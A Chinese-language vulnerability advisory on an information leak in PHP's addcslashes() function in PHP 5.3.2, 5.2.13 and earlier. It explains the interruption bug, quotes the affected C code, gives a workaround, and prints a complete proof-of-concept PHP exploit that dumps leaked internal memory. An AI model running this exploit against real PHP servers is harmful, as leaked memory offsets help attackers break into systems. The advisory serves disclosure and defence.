PHP addcslashes()中断信息泄露漏洞

受影响系统:

PHP PHP <= 5.3.2
PHP PHP <= 5.2.13

描述:

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的addcslashes()函数中存在信息泄露漏洞:

PHP_FUNCTION(addcslashes)
{
    char *str, *what;
    int str_len, what_len;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &str, &str_len, &what, &what_len) == FAILURE) {
        return;
    }

    if (str_len == 0) {
        RETURN_EMPTY_STRING();
    }

    if (what_len == 0) {
        RETURN_STRINGL(str, str_len, 1);
    }

    Z_STRVAL_P(return_value) = php_addcslashes(str, str_len, &Z_STRLEN_P(return_value), 0, what, what_len TSRMLS_CC);
    RETURN_STRINGL(Z_STRVAL_P(return_value), Z_STRLEN_P(return_value), 0);
}

zend_parse_parameters()函数将字符串指针和长度参数拷贝到了本地变量,放松了这些变量与原始ZVAL之间的联系。问题是任何对ZVAL的修改都不会反映在本地变量上,因此任何中断都可能修改ZVAL,导致本地变量指向已释放和重新使用的内存。此外由于zend_parse_parameters()支持对象的__toString()方式,只要以addcslashes()第二个参数的形式传送对象就可以中断参数解析。由于PHP的call time pass by reference功能,之后攻击者可以从__toString()方式杀死addcslashes()的第一个参数并重新用于哈希表。这导致addcslashes()作用于哈希表的内存而不是字符串的内存,攻击者可以泄露重要的内部内存偏移。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:
http://php-security.org/2010/05/03/mops-2010-006-php-addcslashes-interruption-information-leak-vulnerability/index.html
        http://secunia.com/advisories/39675/
*>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
    class dummy
    {
        function __toString()
        {                      
            /* now the magic */
            parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS[‘var’]);
            return "";
        }
    }
    
    /* Detect 32 vs 64 bit */
    $i = 0x7fffffff;
    $i++;
    if (is_float($i)) {
        $GLOBALS[‘var’] = str_repeat("A", 39);
    } else {
        $GLOBALS[‘var’] = str_repeat("A", 67);      
    }
    
    /* Trigger the Code */  
    $x = stripcslashes(addcslashes(&$GLOBALS[‘var’], new dummy()));
    hexdump($x);

    /* Helper function */
    function hexdump($x)
    {
        $l = strlen($x);
        $p = 0;

        echo "Hexdump\n";
        echo "——-\n";

        while ($l > 16) {
            echo sprintf("%08x: ",$p);
            for ($i=0; $i<16; $i++) {
                echo sprintf("%02X ", ord($x[$p+$i]));
            }
            echo "  ";
            for ($i=0; $i<16; $i++) {
                $c = ord($x[$p+$i]);
                echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
            }
            $l-=16;
            $p+=16;
            echo "\n";
        }
        if ($l > 0)
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<$l; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        for ($i=0; $i<16-$l; $i++) { echo "– "; }

        echo "  ";
        for ($i=0; $i<$l; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
        }
        echo "\n";
    }
?>

建议:

 

临时解决方法:

* 删除call time pass by reference功能。

厂商补丁:

PHP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

发表评论?

0 条评论。

发表评论